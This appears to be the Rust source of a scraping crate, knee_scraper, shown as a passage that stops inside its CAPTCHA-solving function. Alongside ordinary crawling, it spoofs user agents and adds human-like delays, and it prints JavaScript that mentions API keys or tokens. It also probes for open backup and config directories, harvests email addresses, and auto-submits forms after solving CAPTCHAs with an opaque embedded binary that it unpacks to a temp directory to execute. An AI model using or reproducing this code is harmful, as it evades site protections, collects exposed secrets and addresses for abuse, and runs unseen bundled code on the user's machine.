knee_scraper 0.1.8

Recursive scraping & downloading media, optionaly on word/phrase. 'AI CAPTCHA Solving', and Parses js content for keywords.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
// src/lib.rs

use reqwest::{ Client, Url, header };
use scraper::{ Html, Selector };
use std::collections::{ HashSet, VecDeque };
use std::fs::{ create_dir_all, File };
use std::io::Write;
use std::path::Path;
use tempfile::TempDir;
use tokio::io::AsyncWriteExt;
use regex::Regex;
use std::time::Duration;
use tokio::time::sleep;

use std::future::Future;
use std::path::{PathBuf};
use std::pin::Pin;
use std::io::Result as IoResult;
use tokio::process::Command;

use tempfile::Builder;


/// Generates a random user-agent string from a predefined list.
///
/// # Returns
///
/// A `String` containing a random user-agent header, which is useful for
/// mimicking different browsers and devices during web scraping.
///
/// # Example
///
/// ```
/// let user_agent = random_user_agent();
/// println!("Using user agent: {}", user_agent);
/// ```
pub fn random_user_agent() -> String {
    let user_agents = vec![
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64)...",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)...",
        "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X)...",
        // Add more user agents as needed
    ];

    let index = rand::random::<usize>() % user_agents.len();
    user_agents[index].to_string()
}

/// Recursively scrapes web pages starting from the given URL.
///
/// # Arguments
///
/// * `url` - The URL to start scraping from.
/// * `client` - A reference to a `reqwest::Client` for making HTTP requests.
/// * `visited` - A mutable reference to a `HashSet<String>` to keep track of visited URLs.
///
/// # Example
///
/// ```
/// let client = Client::new();
/// let mut visited = HashSet::new();
/// recursive_scrape("https://example.com", &client, &mut visited).await;
/// ```
pub fn recursive_scrape<'a>(
    url: &'a str,
    client: &'a Client,
    visited: &'a mut HashSet<String>,
) -> Pin<Box<dyn Future<Output = ()> + 'a>> {
    Box::pin(async move {
        if visited.contains(url) {
            return;
        }
        visited.insert(url.to_string());

        let user_agent = random_user_agent();
        match client.get(url).header("User-Agent", user_agent).send().await {
            Ok(response) => {
                match response.text().await {
                    Ok(html) => {
                        println!("Scraping: {}", url);
                        scrape_content(&html, url, client).await;
                        scrape_js(&html);
                        scrape_for_errors(&html);
                        
                        let links = extract_links(&html, url);
                        for link in links {
                            if !visited.contains(&link) {
                                recursive_scrape(&link, client, visited).await;
                            }
                        }
                    }
                    Err(e) => {
                        let error_message = format!("Failed to get HTML content from '{}': {}", url, e);
                        eprintln!("{}", error_message);
                        log_error_to_file(&error_message);
                    }
                }
            }
            Err(e) => {
                let error_message = format!("Failed to request '{}': {}", url, e);
                eprintln!("{}", error_message);
                log_error_to_file(&error_message);
            }
        }
    })
}


/// Extracts all links from an HTML page, normalizing them to absolute URLs.
///
/// # Arguments
///
/// * `html` - The HTML content of the page as a string slice.
/// * `base_url` - The base URL to resolve relative links.
///
/// # Returns
///
/// A `HashSet` containing all unique absolute links found on the page.
///
/// # Example
///
/// ```
/// let links = extract_links("<a href='/about'>About</a>", "https://example.com");
/// assert!(links.contains("https://example.com/about"));
/// ```
pub fn extract_links(html: &str, base_url: &str) -> HashSet<String> {
    let document = Html::parse_document(html);
    let selector = Selector::parse("a[href]").unwrap();
    let mut urls = HashSet::new();

    for element in document.select(&selector) {
        if let Some(link) = element.value().attr("href") {
            let absolute_link = normalize_link(link, base_url);
            urls.insert(absolute_link);
        }
    }
    urls
}

/// Normalizes a link to an absolute URL based on the base URL.
///
/// # Arguments
///
/// * `link` - The link to normalize.
/// * `base_url` - The base URL of the current page.
///
/// # Returns
///
/// A `String` containing the absolute URL.
///
/// # Example
///
/// ```
/// let absolute_link = normalize_link("/about", "https://example.com");
/// assert_eq!(absolute_link, "https://example.com/about");
/// ```
pub fn normalize_link(link: &str, base_url: &str) -> String {
    if link.starts_with("http") {
        link.to_string() // Already an absolute URL
    } else {
        match Url::parse(base_url) {
            Ok(base) => base.join(link).map(|url| url.to_string()).unwrap_or_default(),
            Err(_) => link.to_string(), // Return as-is if base URL is invalid
        }
    }
}


/// Downloads a media file (image or video) and saves it to the local directory.
///
/// # Arguments
///
/// * `client` - A reference to a `reqwest::Client` for making HTTP requests.
/// * `media_url` - The URL of the media file to download.
/// * `file_path` - The file path where the media file will be saved.
///
/// # Example
///
/// ```
/// download_media(&client, "https://example.com/image.jpg", Path::new("./downloads/image.jpg")).await;
/// ```
pub async fn download_media(client: &Client, media_url: &str, file_path: &Path) {
    // Ensure the 'captcha_images' directory exists
    let captcha_images_dir = Path::new("./captcha_images");
    if let Err(e) = tokio::fs::create_dir_all(&captcha_images_dir).await {
        let error_message = format!("Failed to create 'captcha_images' directory: {}", e);
        eprintln!("{}", error_message);
        log_error_to_file(&error_message);
        return;
    }

    // Proceed with the media download
    if let Ok(response) = client.get(media_url).send().await {
        if response.status().is_success() {
            if let Ok(bytes) = response.bytes().await {
                if let Some(parent) = file_path.parent() {
                    if let Err(e) = tokio::fs::create_dir_all(parent).await {
                        let error_message = format!("Failed to create directory '{}': {}", parent.display(), e);
                        eprintln!("{}", error_message);
                        log_error_to_file(&error_message);
                        return;
                    }
                }

                let mut file = match tokio::fs::File::create(file_path).await {
                    Ok(f) => f,
                    Err(e) => {
                        let error_message = format!("Failed to create file '{}': {}", file_path.display(), e);
                        eprintln!("{}", error_message);
                        log_error_to_file(&error_message);
                        return;
                    }
                };

                if let Err(e) = file.write_all(&bytes).await {
                    let error_message = format!("Failed to write file '{}': {}", file_path.display(), e);
                    eprintln!("{}", error_message);
                    log_error_to_file(&error_message);
                } else {
                    println!("Successfully downloaded and saved the media file: {}", file_path.display());
                }
            } else {
                let error_message = format!("Failed to read bytes from the response for '{}'", media_url);
                eprintln!("{}", error_message);
                log_error_to_file(&error_message);
            }
        } else {
            let error_message = format!("Failed to download media from '{}': Status code {}", media_url, response.status());
            eprintln!("{}", error_message);
            log_error_to_file(&error_message);
        }
    } else {
        let error_message = format!("Failed to make request to '{}'", media_url);
        eprintln!("{}", error_message);
        log_error_to_file(&error_message);
    }
}



/// Scrapes all meaningful content from an HTML page, including text, images, videos, meta tags, and forms.
///
/// # Arguments
///
/// * `html` - The HTML content of the page as a string slice.
/// * `url` - The URL of the current page being scraped.
/// * `client` - A reference to a `reqwest::Client` for making HTTP requests.
///
/// # Example
///
/// ```
/// scrape_content("<html>...</html>", "https://example.com", &client).await;
/// ```
pub async fn scrape_content(html: &str, url: &str, client: &Client) {
    // Create a directory structure for storing scraped data
    let domain = extract_domain(url);
    let dir = format!("./scraped_data/{}", domain);

    // Ensure the directory structure exists
    if let Err(e) = create_dir_all(&dir) {
        eprintln!("Failed to create directory '{}': {}", dir, e);
        return;
    }

    // Store text content (headers and paragraphs)
    let mut text_file = match File::create(format!("{}/content.txt", dir)) {
        Ok(file) => file,
        Err(e) => {
            eprintln!("Failed to create text file: {}", e);
            return;
        }
    };

    let document = Html::parse_document(html);

    // Extract headers
    let header_selector = Selector::parse("h1, h2, h3, h4, h5, h6").unwrap();
    for header in document.select(&header_selector) {
        writeln!(text_file, "Header: {}", header.inner_html()).unwrap();
    }

    // Extract paragraphs
    let paragraph_selector = Selector::parse("p").unwrap();
    for paragraph in document.select(&paragraph_selector) {
        writeln!(text_file, "Paragraph: {}", paragraph.inner_html()).unwrap();
    }

    // Scrape images
    let img_selector = Selector::parse("img[src]").unwrap();
    for img in document.select(&img_selector) {
        if let Some(src) = img.value().attr("src") {
            let img_url = normalize_link(src, url);

            let file_name = img_url
                .split('/')
                .last()
                .unwrap_or("image.jpg")
                .to_string();
            let file_path = Path::new(&dir).join(file_name);
            println!("Downloading image: {}", img_url);
            download_media(client, &img_url, &file_path).await;
        }
    }

    // Scrape videos
    let video_selector = Selector::parse("video[src], source[src]").unwrap();
    for video in document.select(&video_selector) {
        if let Some(src) = video.value().attr("src") {
            let video_url = normalize_link(src, url);

            let file_name = video_url
                .split('/')
                .last()
                .unwrap_or("video.mp4")
                .to_string();
            let file_path = Path::new(&dir).join(file_name);
            println!("Downloading video: {}", video_url);
            download_media(client, &video_url, &file_path).await;
        }
    }

    // Scrape meta tags
    let meta_selector = Selector::parse("meta[name][content]").unwrap();
    for meta in document.select(&meta_selector) {
        let name = meta.value().attr("name").unwrap_or("Unnamed");
        let content = meta.value().attr("content").unwrap_or("");
        writeln!(text_file, "Meta Tag - Name: {}, Content: {}", name, content).unwrap();
    }

    // Scrape forms and inputs
    let form_selector = Selector::parse("form").unwrap();
    for form in document.select(&form_selector) {
        writeln!(text_file, "Form found!").unwrap();

        let input_selector = Selector::parse("input").unwrap();
        for input in form.select(&input_selector) {
            let input_name = input.value().attr("name").unwrap_or("Unnamed Input");
            let input_type = input.value().attr("type").unwrap_or("text");
            writeln!(
                text_file,
                "Input - Name: {}, Type: {}",
                input_name, input_type
            )
            .unwrap();
        }
    }

    // Scrape for emails
    scrape_for_emails(html, &dir);
}

/// Extracts the domain from a URL for folder naming purposes.
///
/// # Arguments
///
/// * `url` - The URL from which to extract the domain.
///
/// # Returns
///
/// A `String` containing the domain.
///
/// # Example
///
/// ```
/// let domain = extract_domain("https://example.com/path");
/// assert_eq!(domain, "example.com");
/// ```
pub fn extract_domain(url: &str) -> String {
    let parsed_url = Url::parse(url).expect("Invalid URL");
    parsed_url.host_str().unwrap_or("unknown_domain").to_string()
}

/// Scrapes JavaScript content for API keys or tokens.
///
/// # Arguments
///
/// * `html` - The HTML content of the page as a string slice.
///
/// # Example
///
/// ```
/// scrape_js_content("<script>var apiKey = '12345';</script>");
/// ```
pub fn scrape_js(html: &str) {
    let document = Html::parse_document(html);
    let script_selector = Selector::parse("script").unwrap();

    for script in document.select(&script_selector) {
        let script_content = script.inner_html();
        if script_content.contains("apiKey") || script_content.contains("token") {
            println!("Potential API key or token found in JS: {}", script_content);
        }
    }
}

/// Scrapes for errors and stack traces in the HTML content.
///
/// # Arguments
///
/// * `html` - The HTML content of the page as a string slice.
///
/// # Example
///
/// ```
/// scrape_for_errors("<html><body>Error: Stack trace</body></html>");
/// ```
pub fn scrape_for_errors(html: &str) {
    if html.contains("Exception") || html.contains("Stack trace") {
        println!("Potential error or stack trace found in the page:\n{}", html);
    }
}

/// Scrapes for emails and saves them to a file.
///
/// # Arguments
///
/// * `html` - The HTML content of the page as a string slice.
/// * `dir` - The directory where the emails.txt file will be saved.
///
/// # Example
///
/// ```
/// scrape_for_emails("<p>Contact us at info@example.com</p>", "./scraped_data/example.com");
/// ```
pub fn scrape_for_emails(html: &str, dir: &str) {
    let email_regex = match Regex::new(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}") {
        Ok(regex) => regex,
        Err(e) => {
            eprintln!("Failed to compile email regex: {}", e);
            return;
        }
    };

    let email_file_path = format!("{}/emails.txt", dir);
    let mut email_file = match File::create(&email_file_path) {
        Ok(file) => file,
        Err(e) => {
            eprintln!("Failed to create email file '{}': {}", email_file_path, e);
            return;
        }
    };

    for email in email_regex.find_iter(html) {
        if writeln!(email_file, "{}", email.as_str()).is_err() {
            eprintln!("Failed to write email '{}' to file '{}'", email.as_str(), email_file_path);
        }
    }
}


/// Fetches a web page and prints the response status, demonstrating cookie handling.
///
/// # Arguments
///
/// * `url` - The URL to fetch.
/// * `client` - A reference to a `reqwest::Client` for making HTTP requests.
///
/// # Example
///
/// ```
/// fetch_with_cookies("https://example.com", &client).await;
/// ```
pub async fn fetch_with_cookies(url: &str, client: &Client) {
    if let Ok(response) = client.get(url).send().await {
        println!("Response status: {}", response.status());
        // Note: For actual cookie handling, enable the cookie store feature in reqwest.
    }
}

/// Checks for common open directories on the server.
///
/// # Arguments
///
/// * `url` - The base URL to check.
/// * `client` - A reference to a `reqwest::Client` for making HTTP requests.
///
/// # Example
///
/// ```
/// check_open_directories("https://example.com", &client).await;
/// ```
pub async fn check_open_directories(url: &str, client: &Client) {
    let directories = vec!["/backup", "/config", "/logs", "/uploads"];
    for dir in directories {
        let full_url = format!("{}{}", url, dir);
        if let Ok(response) = client.get(&full_url).send().await {
            if response.status().is_success() {
                println!("Open directory found: {}", full_url);
            }
        }
    }
}

/// Fetches and parses the robots.txt file.
///
/// # Arguments
///
/// * `url` - The base URL to fetch robots.txt from.
/// * `client` - A reference to a `reqwest::Client` for making HTTP requests.
///
/// # Example
///
/// ```
/// fetch_robots_txt("https://example.com", &client).await;
/// ```
pub async fn fetch_robots_txt(url: &str, client: &Client) {
    let robots_url = format!("{}/robots.txt", url.trim_end_matches('/'));
    if let Ok(response) = client.get(&robots_url).send().await {
        if let Ok(body) = response.text().await {
            let disallowed_paths: Vec<&str> = body
                .lines()
                .filter(|line| line.starts_with("Disallow"))
                .map(|line| line.split(": ").nth(1).unwrap_or("/"))
                .collect();

            for path in disallowed_paths {
                println!("Disallowed path found: {}", path);
            }
        }
    }
}

/// Executes the entire scraping workflow for the provided URL, including:
/// - Fetching `robots.txt` to check for disallowed paths
/// - Checking for open directories
/// - Fetching content with cookies
/// - Performing recursive scraping on links found in the website
///
/// The function mimics human behavior by introducing random delays
/// between requests to avoid overwhelming servers.
///
/// # Arguments
/// * `url` - The URL to start scraping from.
/// * `client` - A reference to a `reqwest::Client` for making HTTP requests.
///
/// # Example
/// ```
/// let client = Client::new();
/// run("https://example.com", &client).await;
/// ```
pub async fn run(url: &str, client: &Client) {
    let mut visited = HashSet::new();

    println!("Starting scraping workflow for {}", url);

    // Fetch `robots.txt`, open directories, and perform cookie-based scraping
    fetch_robots_txt(url, client).await;
    check_open_directories(url, client).await;
    fetch_with_cookies(url, client).await;

    // Start recursive scraping from the base URL
    recursive_scrape(url, client, &mut visited).await;

    // Introduce a delay to mimic human-like browsing behavior
    random_delay(2, 5).await;

    println!("Scraping workflow completed for {}", url);
}


use std::fs::OpenOptions;
/// Logs an error message to a file.
///
/// # Arguments
///
/// * `message` - The error message to log.
fn log_error_to_file(message: &str) {
    let log_file_path = "error.log";
    
    // Open the file in append mode, creating it if it doesn't exist
    let mut file = match OpenOptions::new()
        .create(true)
        .append(true)
        .open(log_file_path)
    {
        Ok(f) => f,
        Err(e) => {
            eprintln!("Failed to open or create error log file '{}': {}", log_file_path, e);
            return;
        }
    };

    // Write the error message to the file
    if let Err(e) = writeln!(file, "{}", message) {
        eprintln!("Failed to write to error log file '{}': {}", log_file_path, e);
    }
}


/// Sleeps for a random duration between a given range, mimicking human browsing behavior.
///
/// # Arguments
///
/// * `min_secs` - Minimum number of seconds to sleep.
/// * `max_secs` - Maximum number of seconds to sleep.
///
/// # Example
///
/// ```
/// random_delay(1, 5).await;
/// ```
pub async fn random_delay(min_secs: u64, max_secs: u64) {
    let delay = rand::random::<u64>() % (max_secs - min_secs + 1) + min_secs;
    sleep(Duration::from_secs(delay)).await;
}


/// Recursively scrapes web pages starting from the given URL, looking for the target phrase.
/// If the target phrase is not found in the HTML content of a page, it stops scraping in that direction.
///
/// # Arguments
/// * `url`: The starting URL for scraping.
/// * `client`: An instance of `reqwest::Client` for making HTTP requests.
/// * `config`: An optional reference to `ScraperConfig` for controlling scraper behavior.
/// * `visited`: A `HashSet` that tracks visited URLs.
/// * `target_phrase`: The phrase to search for in the HTML content.
///
/// This function performs breadth-first scraping, but only continues to follow links
/// if the target phrase is found in the current page's content.
pub async fn rec_scrape(url: &str, client: &Client, config: Option<&ScraperConfig>, visited: &mut HashSet<String>, target_phrase: &str) {
    let mut queue = VecDeque::new();
    queue.push_back(url.to_string());
    let mut current_depth = 0; // Initialize scraping depth

    // Get configuration values or defaults
    let follow_links = config.map_or(true, |c| c.follow_links()); // Default: true
    let max_depth = config.map_or(3, |c| c.max_depth()); // Default: 3
    let user_agent = config.and_then(|c| c.user_agent().cloned()); // Default: None (no user agent)

    while let Some(current_url) = queue.pop_front() {
        if visited.contains(&current_url) {
            continue;
        }

        println!("Visiting: {}", current_url);
        visited.insert(current_url.clone());

        // Build the request with optional user agent
        let mut request = client.get(&current_url);
        if let Some(ref agent) = user_agent {
            request = request.header(header::USER_AGENT, agent);
        }

        let response = match request.send().await {
            Ok(response) => response,
            Err(_) => continue, // Skip the URL if there's an error
        };

        if response.status().is_success() {
            let html = match response.text().await {
                Ok(html) => html,
                Err(_) => continue, // Skip if there's an error reading the content
            };

            if should_scrape_content(&html, target_phrase) {
                println!("Target phrase found in: {}", current_url);

                // Only follow links if target_phrase is found and depth is within limits
                if follow_links && current_depth < max_depth {
                    let links = extract_links(&html, &current_url);
                    for link in links {
                        if !visited.contains(&link) {
                            queue.push_back(link); // Only add links if the phrase is found
                        }
                    }
                    current_depth += 1; // Increase depth after following links
                }
            } else {
                println!("Target phrase not found in: {}", current_url);
                // Do not enqueue links from this page, discontinue following in this direction
                continue;
            }
        }
    }
}

/// Checks if the given content contains the target phrase.
///
/// # Arguments
/// * `content`: The HTML content of the page as a string.
/// * `target_phrase`: The phrase to search for within the content.
///
/// Returns `true` if the target phrase is found, otherwise `false`.
pub fn should_scrape_content(content: &str, target_phrase: &str) -> bool {
    content.contains(target_phrase)
}

pub struct ScraperConfig {
    follow_links: bool,
    max_depth: i32,
    user_agent: Option<String>,
}

impl ScraperConfig {
    pub fn new(follow_links: bool, max_depth: i32, user_agent: Option<String>) -> Self {
        ScraperConfig {
            follow_links,
            max_depth,
            user_agent,
        }
    }

    // Method to update whether or not to follow links
    pub fn set_follow_links(&mut self, follow: bool) {
        self.follow_links = follow;
    }

    // Method to update the max depth of scraping
    pub fn set_max_depth(&mut self, depth: i32) {
        self.max_depth = depth;
    }

    // Method to set a custom user agent
    pub fn set_user_agent(&mut self, agent: Option<String>) {
        self.user_agent = agent;
    }

    pub fn follow_links(&self) -> bool {
        self.follow_links
    }

    pub fn max_depth(&self) -> i32 {
        self.max_depth
    }

    pub fn user_agent(&self) -> Option<&String> {
        self.user_agent.as_ref()
    }
}


pub async fn scrape_js_content(html: &str, url: &str, client: &Client, keywords: &[&str]) {
    let document = Html::parse_document(html);
    let script_selector = Selector::parse("script").unwrap();

    for script in document.select(&script_selector) {
        // Check for inline JavaScript (within the HTML)
        let script_content = script.inner_html();
        if !script_content.is_empty() {
            // Check for user-defined keywords in inline scripts
            for &keyword in keywords {
                if script_content.contains(keyword) {
                    println!("Found '{}' in inline JS: {}", keyword, script_content);
                }
            }
        }

        // Check if the script tag has a `src` attribute (external JS file)
        if let Some(src) = script.value().attr("src") {
            let js_url = normalize_link(src, url);

            // Fetch and download the JS file
            match client.get(&js_url).send().await {
                Ok(response) => {
                    if response.status().is_success() {
                        if let Ok(js_content) = response.text().await {
                            // Process the JS file content for user-defined keywords
                            for &keyword in keywords {
                                if js_content.contains(keyword) {
                                    println!("Found '{}' in external JS: {}", keyword, js_content);
                                }
                            }

                            // Optionally, save the JS content to a file
                            let file_name = js_url.split('/').last().unwrap_or("script.js").to_string();
                            let file_path = format!("./scraped_js/{}", file_name);
                            if let Err(e) = save_js_file(&file_path, &js_content) {
                                eprintln!("Failed to save JS file '{}': {}", file_path, e);
                            }
                        }
                    } else {
                        eprintln!("Failed to download JS file from '{}': Status code {}", js_url, response.status());
                    }
                }
                Err(e) => eprintln!("Error fetching JS file '{}': {}", js_url, e),
            }
        }
    }
}

/// Save the JavaScript content to a file.
///
/// # Arguments
///
/// * `file_path` - The file path where the JS content will be saved.
/// * `js_content` - The JavaScript content to save.
///
/// # Returns
///
/// A `Result<(), std::io::Error>` indicating success or failure.
fn save_js_file(file_path: &str, js_content: &str) -> Result<(), std::io::Error> {
    let mut file = File::create(file_path)?;
    file.write_all(js_content.as_bytes())?;
    println!("Saved JS file to '{}'", file_path);
    Ok(())
}





// Your embedded binary data used for CAPTCHA solving
const AI_BINARY: &[u8] = include_bytes!("../assets/ocrs");

/// Extracts the binary file from the included bytes and writes it to a temporary directory.
///
/// # Arguments
/// * `temp_dir` - A reference to a `TempDir` that will manage the lifetime of the temporary file.
///
/// # Returns
/// * An `IoResult<PathBuf>` that returns the path to the temporary binary file or an error.
async fn extract_binary(temp_dir: &tempfile::TempDir) -> IoResult<PathBuf> {
    let binary_path = temp_dir.path().join("ocrs");

    // Create the file asynchronously
    let mut file = File::create(&binary_path)?;

    // Write the embedded binary to the file asynchronously
    file.write_all(AI_BINARY)?;

    // Return the binary path as PathBuf
    Ok(binary_path)
}

/// Command structure to hold options for executing the AI binary.
pub struct Comm<'a> {
    pub cap: &'a str,              // File location as an argument to pass to the command (e.g., CAPTCHA image)
    pub current_dir: PathBuf,      // The current working directory
}

/// CAPTCHA solving function that can be used independently in any project.
/// 
/// This function downloads a CAPTCHA image, processes it, and attempts to solve it using an AI binary.
/// It also handles form manipulation and submission, making it easy to integrate into custom scrapers.
///
/// # Arguments
/// * `client` - A reference to a `reqwest::Client` for making HTTP requests.
/// * `html` - The HTML content of the page as a string slice.
/// * `current_url` - The current page URL to resolve relative links.
///
/// # Returns
/// * `IoResult<()>` - Indicates success or error during CAPTCHA solving and submission.
pub async fn cap_solver(client: &Client, html: &str, current_url: &str) -> IoResult<()> {
    let document = Html::parse_document(html);

    // Find the form where CAPTCHA should be submitted
    let form_selector = Selector::parse("form").unwrap();
    if let Some(form) = document.select(&form_selector).next() {
        let form_action = form.value().attr("action").unwrap_or(current_url);
        let captcha_submission_url = normalize_link(form_action, current_url);

        // Find the CAPTCHA image
        let img_selector = Selector::parse("img[src]").unwrap();
        for img in form.select(&img_selector) {
            if let Some(src) = img.value().attr("src") {
                if src.ends_with(".png") || src.ends_with(".jpeg") || src.ends_with(".jpg") || src.ends_with(".gif") || src.ends_with(".gif") {
                    let img_url = normalize_link(src, current_url);
                    let img_path = PathBuf::from("./captcha_images/captcha.png");

                    // Download CAPTCHA image
                    download_media(client, &img_url, &img_path).await;

                    // Solve the CAPTCHA using AI
                    let comm = Comm {
                        cap: img_path.to_str().unwrap(),
                        current_dir: std::env::current_dir().expect("Failed to get current directory"),
                    };

                    match ai(&comm).await {
                        Ok(captcha_text) => {
                            println!("CAPTCHA solved: {}", captcha_text);

                            // Submit CAPTCHA
                            let mut form_data = vec![("captcha_response".to_string(), captcha_text.to_string())];

                            // Add any other form inputs if available
                            let input_selector = Selector::parse("input").unwrap();
                            for input in form.select(&input_selector) {
                                if let (Some(name), Some(value)) = (
                                    input.value().attr("name"),
                                    input.value().attr("value"),
                                ) {
                                    let name_owned = name.to_string();
                                    let value_owned = value.to_string();
                                    form_data.push((name_owned, value_owned));
                                }
                            }

                            // Convert form_data into the required type for reqwest's form method
                            let form_data_ref: Vec<(&str, &str)> = form_data
                                .iter()
                                .map(|(name, value)| (name.as_str(), value.as_str()))
                                .collect();

                            let form_response = client
                                .post(&captcha_submission_url)
                                .header("User-Agent", random_user_agent())
                                .form(&form_data_ref)
                                .send()
                                .await;

                            match form_response {
                                Ok(response) => {
                                    if response.status().is_success() {
                                        println!("CAPTCHA submitted successfully.");
                                    } else {
                                        eprintln!("Failed to submit CAPTCHA. Status: {}", response.status());
                                    }
                                }
                                Err(e) => {
                                    eprintln!("Failed to submit CAPTCHA to '{}': {}", captcha_submission_url, e);
                                }
                            }
                        }
                        Err(e) => {
                            eprintln!("Failed to solve CAPTCHA: {}", e);
                        }
                    }
                }
            }
        }
    }
    Ok(())
}

/// Asynchronously executes the AI command to solve a CAPTCHA.
///
/// # Arguments
/// * `comm` - A reference to the `Comm` struct containing command arguments and settings.
///
/// # Returns
/// * A `Pin<Box<dyn Future<Output = IoResult<String>> + 'a>>` that resolves to either the solved CAPTCHA text or an error.
pub fn ai<'a>(comm: &'a Comm) -> Pin<Box<dyn Future<Output = IoResult<String>> + 'a>> {
    Box::pin(async move {
        // Create a temporary directory that lives as long as the ai() function
        let temp_dir = Builder::new().prefix("captcha_ai").tempdir()?;

